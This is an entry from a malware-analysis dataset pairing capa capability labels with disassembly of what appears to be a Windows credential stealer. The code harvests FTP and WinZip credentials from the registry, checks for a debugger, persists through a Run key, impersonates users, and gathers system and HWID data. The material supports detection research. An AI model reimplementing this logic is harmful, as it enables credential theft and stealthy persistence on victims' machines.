joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e3b8
Capabilities:
Gather direct-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40e5ed
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40e40d
jmp 0x40e5e5
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x828], eax
call fcn.004018f6
push 0
push str.FTP_destination_server
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x810], eax
push 0
push str.FTP_destination_user
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push str.FTP_destination_password
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.FTP_destination_port
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push str.FTP_destination_catalog
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x830]
push eax
push str.FTP_profiles
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x810], 0
je 0x40e555
cmp dword [ebp - 0x814], 0
je 0x40e555
cmp dword [ebp - 0x818], 0
je 0x40e555
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.004015a7
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x814]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x824]
push dword [ebp - 0x81c]
push dword [ebp + 0x10]
call fcn.004015dd
push dword [ebp - 0x820]
push dword [ebp + 0x10]
call fcn.00401609
cmp dword [ebp - 0x830], 0
je 0x40e57f
push 0xbeef0001
push dword [ebp + 0x10]
call fcn.004015a7
push dword [ebp - 0x830]
push dword [ebp - 0x82c]
push dword [ebp + 0x10]
call fcn.004015dd
push dword [ebp + 0x10]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.0040e3b8
push dword [ebp - 0x828]
call fcn.004018f6
push dword [ebp - 0x810]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x820]
call fcn.004018f6
push dword [ebp - 0x82c]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x40e3df
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40e98d
Capabilities:
Gather winzip information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40ead2
push 0
push str.Site
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 8], eax
push 0
push str.UserID
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
push eax
push str.xflags
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x10], eax
push 0
push str.Port
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x14], eax
push 0
push str.Folder
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x10], 0
je 0x40eaa2
cmp dword [ebp - 0x1c], 0
je 0x40eaa2
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.00402b5c
and eax, eax
je 0x40eaa2
shr dword [ebp - 0x1c], 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
call fcn.00404868
and eax, eax
je 0x40eaa2
cmp dword [ebp - 8], 0
je 0x40eaa2
cmp dword [ebp - 0xc], 0
je 0x40eaa2
cmp dword [ebp - 0x10], 0
je 0x40eaa2
push 0xbeef0000
push dword [ebp + 0x10]
call fcn.004015a7
push dword [ebp - 8]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push dword [ebp + 0x10]
call fcn.004015dd
push dword [ebp - 0x14]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 0x18]
push dword [ebp + 0x10]
call fcn.00401609
push dword [ebp - 8]
call fcn.004018f6
push dword [ebp - 0xc]
call fcn.004018f6
push dword [ebp - 0x10]
call fcn.004018f6
push dword [ebp - 0x14]
call fcn.004018f6
push dword [ebp - 0x18]
call fcn.004018f6
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40ead6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40eb9b
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
and eax, eax
je 0x40eb2d
jmp 0x40eb93
cmp dword [ebp - 0x814], 1
je 0x40eb3b
inc dword [ebp - 8]
jmp 0x40eafd
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401daf
and eax, eax
je 0x40eb8b
mov dword [ebp - 0x810], eax
push str..wjf
push dword [ebp - 0x810]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x40eb80
push dword [ebp - 0x810]
push dword [ebp + 0x10]
call fcn.0040e854
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x40eafd
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40f15d
Capabilities:
Query or enumerate registry key
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
push 0x105
call fcn.0040190d
mov dword [ebp - 0x818], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40f298
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40f1c2
jmp 0x40f290
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x810], eax
call fcn.004018f6
push 0
push str.Path
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00401daf
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40f261
push str.PocoSystem.ini
push dword [ebp - 0x814]
call fcn.00401e36
push eax
push eax
push 0x104
push dword [ebp - 0x818]
push 0x416143
push str.DataPath
push str.Program
call sub.KERNEL32.DLL_GetPrivateProfileStringA
cmp eax, 3
jbe 0x40f25c
push 0xbeef0000
push str.accounts.ini
push dword [ebp - 0x818]
push dword [ebp + 0x10]
call fcn.004047dd
call fcn.004018f6
push dword [ebp + 0x10]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040f15d
push dword [ebp - 0x810]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x40f194
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 0x818]
call fcn.004018f6
leave
ret 0xc
Function at 0x40fa8d
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40fb26
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40fadb
jmp 0x40fb1e
push 0x416141
push dword [ebp + 0x10]
call fcn.00401e36
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e8a
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f8f8
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x40fab0
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x40fb2a
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40fbd0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40fb7c
jmp 0x40fbc8
push 0x416141
push dword [ebp + 0x10]
call fcn.00401e36
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e8a
push dword [ebp + 0x14]
push eax
call fcn.00401e8a
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040fa8d
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x40fb51
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0x10

Function at 0x4109d6
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push edi
xor edx, eax
xor eax, edx
xor edx, eax
push 0x4109f0
nop
clc
nop
jb 0x4109ef
nop
ret
inc bh
inc ebp
cld
add byte [eax], al
add byte [eax], al
mov edi, 0x418de5
push dword [ebp + 8]
pop dword [0x419005]
mov eax, dword fs:[0x30]
cmp byte [eax + 2], 0
je 0x410a19
push dword [ebp + 8]
call fcn.00401026
jmp 0x410ad6
call fcn.0040244a
push dword [ebp + 8]
call fcn.00401560
mov dword [0x419001], eax
push dword fs:[0]
mov eax, esp
push dword fs:[0]
push ebp
push eax
push 0x410acc
push 0x410a85
push eax
mov dword fs:[0], esp
push dword [ebp + 8]
call dword [edi]
cmp dword [edi], 0x40493d
je 0x410a80
cmp eax, 0x10
je 0x410a6f
mov dword [ebp - 4], 1
jmp 0x410a80
push dword [0x419001]
push dword [0x419005]
call fcn.0040130e
add esp, 0x18
jmp 0x410acc
pop dword fs:[0]
add edi, 4
cmp dword [edi], 0
jne 0x410a1e
mov eax, dword [ebp - 4]
pop edi
leave
ret 4
Function at 0x410b2d
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec0
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0x105]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
and eax, eax
je 0x410bdb
cmp eax, 0x104
ja 0x410bdb
push 0x970fe0
call fcn.0040316b
add eax, 0x186a0
push eax
push str._d.exe
lea eax, [ebp - 0x13e]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0
lea eax, [ebp - 0x105]
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
lea eax, [ebp - 0x105]
push eax
call fcn.004025f8
and eax, eax
jne 0x410bc2
push 0x416141
lea eax, [ebp - 0x105]
push eax
call fcn.00401e36
lea edx, [ebp - 0x13e]
push edx
push eax
call fcn.00401e8a
jmp 0x410bd5
lea eax, [ebp - 0x13e]
push eax
lea eax, [ebp - 0x105]
push eax
call fcn.00401e36
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
leave
ret
Function at 0x4110cd
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0x105
call fcn.0040190d
mov dword [ebp - 8], eax
push 0x104
push dword [ebp - 8]
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
lea eax, [ebp - 4]
push eax
push 0x419778
push 0x80000001
call sub.advapi32.dll_RegCreateKeyA
or eax, eax
jne 0x411122
push dword [ebp - 8]
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push dword [ebp - 8]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 8]
call fcn.004018f6
leave
ret 4

Function at 0x4111a6
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push str.AA248468F238F8E2023F867
push str.Globalpmtx
call fcn.00401e36
mov dword [ebp - 4], eax
push dword [ebp - 4]
push 1
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov dword [ebp - 8], eax
and eax, eax
je 0x4111e6
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x4111e4
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x4111ed
push 0
call sub.KERNEL32.DLL_ExitProcess
leave
ret
Function at 0x4111ef
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push 0x105
call fcn.0040190d
mov dword [ebp - 8], eax
push 0x105
call fcn.0040190d
mov dword [ebp - 0xc], eax
push str.AA248468F238F8E2023F867
push str.fnam
call fcn.00401e36
mov dword [ebp - 0x18], eax
push 0x104
push dword [ebp - 8]
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x104
push dword [ebp - 0xc]
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov edx, dword [ebp - 8]
mov ecx, edx
jmp 0x41124e
cmp byte [edx], 0x5c
jne 0x41124d
mov ecx, edx
inc edx
cmp byte [edx], 0
jne 0x411246
mov byte [ecx], 0
inc ecx
mov dword [ebp - 0x14], ecx
push 0x1a
call fcn.00401eef
mov dword [ebp - 4], eax
push str.WinRAR
push dword [ebp - 4]
call fcn.00401e8a
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_CreateDirectoryA
push dword [ebp - 8]
push dword [ebp - 4]
call sub.KERNEL32.DLL_lstrcmpiA
and eax, eax
je 0x4112e9
push dword [ebp - 4]
call fcn.00411136
mov dword [ebp - 0x10], eax
push pe_nt_image_headers32
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call sub.KERNEL32.DLL_CopyFileA
and eax, eax
je 0x4112d8
push pe_nt_image_headers32
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_SetFileAttributesA
push 0xa
push 0
push 0
push dword [ebp - 0x10]
push str.open
push 0
call sub.shell32.dll_ShellExecuteA
push dword [ebp - 0x10]
call fcn.004018f6
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x411337
call fcn.004111a6
cmp byte [str.AA248468F238F8E2023F867], 0
je 0x411308
push str.AA248468F238F8E2023F867
push str.SYS_UPDATE_
call fcn.00401e36
jmp 0x411317
push str.AA248468F238F8E2023F867
push str.SYS_UPDATE
call fcn.00401e36
push eax
push eax
call fcn.004110cd
call fcn.004018f6
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.0040272c
push dword [ebp - 8]
call fcn.004018f6
push dword [ebp - 0xc]
call fcn.004018f6
push dword [ebp - 0x18]
call fcn.004018f6
push dword [ebp - 4]
call fcn.004018f6
leave
ret
Function at 0x4113b0
Capabilities:
Get geographical location
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff2c
push ebx
push edi
push 0
push 0
push dword [ebp + 8]
call fcn.0040162e
mov dword [ebp - 4], eax
push 0xbeef0000
push dword [ebp + 8]
call fcn.004015a7
push 0x9c
lea eax, [ebp - 0xa0]
push eax
call fcn.00401924
mov dword [ebp - 0xa0], 0x9c
lea eax, [ebp - 0xa0]
push eax
call sub.KERNEL32.DLL_GetVersionExA
sub ecx, ecx
sub edx, edx
lea edi, [ebp - 0x8c]
jmp 0x41141d
cmp byte [edi], 0
jne 0x411414
mov edx, 1
and edx, edx
je 0x41141b
mov byte [edi], 0
inc edi
inc ecx
cmp ecx, 0x80
jb 0x41140a
and eax, eax
je 0x41143f
push 0x9c
lea eax, [ebp - 0xa0]
push eax
push dword [ebp + 8]
call fcn.004015dd
jmp 0x41144b
push 0
push 0
push dword [ebp + 8]
call fcn.004015dd
call fcn.00402fcb
push eax
push dword [ebp + 8]
call fcn.004015a7
push 0x400
call fcn.0040190d
mov dword [ebp - 0xa4], eax
push 0x3ff
push dword [ebp - 0xa4]
push 0x1002
push 0x400
call sub.KERNEL32.DLL_GetLocaleInfoA
push eax
push dword [ebp - 0xa4]
push dword [ebp + 8]
call fcn.004015dd
push 0x3ff
push dword [ebp - 0xa4]
push 0x1001
push 0x400
call sub.KERNEL32.DLL_GetLocaleInfoA
push eax
push dword [ebp - 0xa4]
push dword [ebp + 8]
call fcn.004015dd
call fcn.00403033
push eax
push dword [ebp + 8]
call fcn.004015a7
call fcn.004030cd
lea eax, [ebp - 0xa8]
push eax
push str.HWID
call fcn.00402846
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
je 0x411533
cmp dword [ebp - 0xa8], 0x14
jb 0x411533
add dword [ebp - 0xa8], 4
push dword [ebp - 0xa8]
push dword [ebp + 8]
call fcn.004015a7
sub dword [ebp - 0xa8], 4
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0xa8]
push dword [ebp - 0xd4]
push dword [ebp + 8]
call fcn.004015bc
jmp 0x41153f
push 0
push 0
push dword [ebp + 8]
call fcn.004015dd
push dword [ebp - 0xd4]
call fcn.004018f6
push str.AA248468F238F8E2023F867
call sub.KERNEL32.DLL_lstrlenA
push eax
push str.AA248468F238F8E2023F867
push dword [ebp + 8]
call fcn.004015dd
push dword [ebp - 0xa4]
call fcn.004018f6
sub ebx, ebx
push str.kernel32.dll
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
je 0x4115a6
push str.GetNativeSystemInfo
push dword [ebp - 0xd0]
call sub.KERNEL32.DLL_GetProcAddress
and eax, eax
je 0x4115a6
lea edx, [ebp - 0xcc]
push edx
call eax
inc ebx
and ebx, ebx
jne 0x4115b6
lea eax, [ebp - 0xcc]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
push 0x24
lea eax, [ebp - 0xcc]
push eax
push dword [ebp + 8]
call fcn.004015dd
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.00401674
pop edi
pop ebx
leave
ret 4
Function at 0x411b93
Capabilities:
Impersonate user

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push edi
xor edx, eax
xor eax, edx
xor edx, eax
push 0x411bae
nop
clc
nop
jb 0x411bad
nop
ret
inc byte [ebx + 0x41647c3d]
add byte [eax], al
je 0x411bc0
cmp dword [0x416488], 0
jne 0x411bc6
sub eax, eax
pop edi
pop ebx
leave
ret
mov ebx, dword [0x4197e5]
jmp 0x411d62
call fcn.00402c19
cmp dword [0x4197e9], 0
je 0x411bf6
push dword [ebx + 4]
push dword [0x4197e9]
call sub.KERNEL32.DLL_lstrcmpiA
and eax, eax
jne 0x411bf6
jmp 0x411d60
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push dword [ebx + 4]
push 0
push dword [ebx + 4]
call dword [0x416488]
and eax, eax
je 0x411c1c
jmp 0x411ca5
push dword [ebx + 4]
call fcn.00402a6c
mov dword [ebp - 8], eax
push dword [ebx + 4]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp - 8]
push eax
push dword [ebx + 4]
push 0x100
push 0x400
call sub.KERNEL32.DLL_LCMapStringA
and eax, eax
je 0x411c75
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push dword [ebp - 8]
push 0
push dword [ebx + 4]
call dword [0x416488]
and eax, eax
je 0x411c75
push dword [ebp - 8]
call fcn.004018f6
jmp 0x411ca5
push dword [ebp - 8]
call fcn.004018f6
mov edi, str.r_l_oui_
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push edi
push 0
push dword [ebx + 4]
call dword [0x416488]
and eax, eax
je 0x411d4e
mov dword [ebp - 0x28], 0x20
mov dword [ebp - 0x24], 1
push dword [ebx + 4]
pop dword [ebp - 0x20]
push dword [ebx + 8]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call sub.userenv.dll_LoadUserProfileA
and eax, eax
je 0x411d03
cmp dword [ebp - 0xc], 0
je 0x411cfa
push dword [ebp - 0xc]
pop dword [0x416169]
mov dword [ebp - 0x2c], 1
jmp 0x411d0a
mov dword [ebp - 0x2c], 0
push dword [ebp - 4]
call dword [0x41647c]
and eax, eax
je 0x411d35
call fcn.00411970
cmp dword [0x416474], 0
je 0x411d2b
call dword [0x416474]
mov dword [0x416169], 0x80000001
cmp dword [ebp - 0x2c], 0
je 0x411d46
push dword [ebp - 0xc]
push dword [ebp - 4]
call sub.userenv.dll_UnloadUserProfile
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
cld
xor eax, eax
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp byte [edi], al
jne 0x411c82
mov ebx, dword [ebx]
and ebx, ebx
jne 0x411bd1
mov eax, 1
pop edi
pop ebx
leave
ret
Function at 0x4137e0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
xor edx, edx
movzx ecx, byte [edx + str.80_]
mov ebx, ecx
sar ebx, 3
movzx ebx, byte [ebx + eax]
mov esi, ecx
and esi, 7
movzx esi, word [esi + esi + 0x4199a8]
and ebx, esi
setne bl
mov byte [ebp + edx - 0x38], bl
inc edx
cmp edx, 0x38
jl 0x4137f1
xor eax, eax
cmp word [ebp + 0xc], 1
jne 0x413830
mov ebx, eax
neg ebx
lea esi, [ebx + ebx + 0x1e]
jmp 0x413833
lea esi, [eax + eax]
lea edi, [esi + 1]
and dword [ebp + edi*4 - 0xf0], 0
and dword [ebp + esi*4 - 0xf0], 0
xor edx, edx
movzx ebx, byte [eax + 0x419a50]
lea ecx, [ebx + edx]
cmp ecx, 0x1c
jge 0x413861
mov bl, byte [ebp + ecx - 0x38]
mov byte [ebp + edx - 0x70], bl
jmp 0x413869
mov bl, byte [ebp + ecx - 0x54]
mov byte [ebp + edx - 0x70], bl
inc edx
cmp edx, 0x1c
jl 0x413848
mov edx, 0x1c
movzx ebx, byte [eax + 0x419a50]
lea ecx, [ebx + edx]
cmp ecx, 0x38
jge 0x41388d
mov bl, byte [ebp + ecx - 0x38]
mov byte [ebp + edx - 0x70], bl
jmp 0x413895
mov cl, byte [ebp + ecx - 0x54]
mov byte [ebp + edx - 0x70], cl
inc edx
cmp edx, 0x38
jl 0x413874
xor edx, edx
movzx ecx, byte [edx + 0x419a60]
cmp byte [ebp + ecx - 0x70], 0
je 0x4138b9
mov ecx, dword [edx*4 + 0x4199b8]
or dword [ebp + esi*4 - 0xf0], ecx
movzx ecx, byte [edx + 0x419a78]
cmp byte [ebp + ecx - 0x70], 0
je 0x4138d5
mov ecx, dword [edx*4 + 0x4199b8]
or dword [ebp + edi*4 - 0xf0], ecx
inc edx
cmp edx, 0x18
jl 0x41389d
inc eax
cmp eax, 0x10
jl 0x41381f
lea eax, [ebp - 0xf0]
push eax
call fcn.004138fa
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x414248
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push eax
push eax
push esi
push edi
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
xor edx, edx
mov cl, byte [edx + eax]
mov byte [ebp + edx - 8], cl
mov cl, byte [edx + eax]
mov byte [edx + esi], cl
inc edx
cmp edx, 8
jl 0x41425a
push esi
push eax
call fcn.00413d95
xor eax, eax
lea edx, [eax + esi]
mov cl, byte [eax + edi]
xor byte [edx], cl
inc eax
cmp eax, 8
jl 0x414276
xor eax, eax
mov dl, byte [ebp + eax - 8]
mov byte [eax + edi], dl
inc eax
cmp eax, 8
jl 0x414286
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4142a0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x10]
mov eax, dword [ebx + 4]
mov dword [ebp - 4], eax
mov eax, dword [ebx]
movzx edx, word [eax + 0x14]
lea edx, [eax + edx + 0x18]
mov esi, edx
and dword [ebp - 0xc], 0
jmp 0x414338
cmp dword [esi + 0x10], 0
jne 0x414303
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
mov dword [ebp - 8], eax
test eax, eax
jle 0x414332
push 4
push 0x1000
push dword [ebp - 8]
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
mov dword [esi + 8], edi
push dword [ebp - 8]
push 0
push edi
call fcn.004149ab
add esp, 0xc
jmp 0x414332
push 4
push 0x1000
push dword [esi + 0x10]
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
push dword [esi + 0x10]
mov eax, dword [esi + 0x14]
add eax, dword [ebp + 8]
push eax
push edi
call fcn.004149cc
add esp, 0xc
mov dword [esi + 8], edi
inc dword [ebp - 0xc]
add esi, 0x28
mov eax, dword [ebx]
movzx eax, word [eax + 6]
cmp dword [ebp - 0xc], eax
jl 0x4142c4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc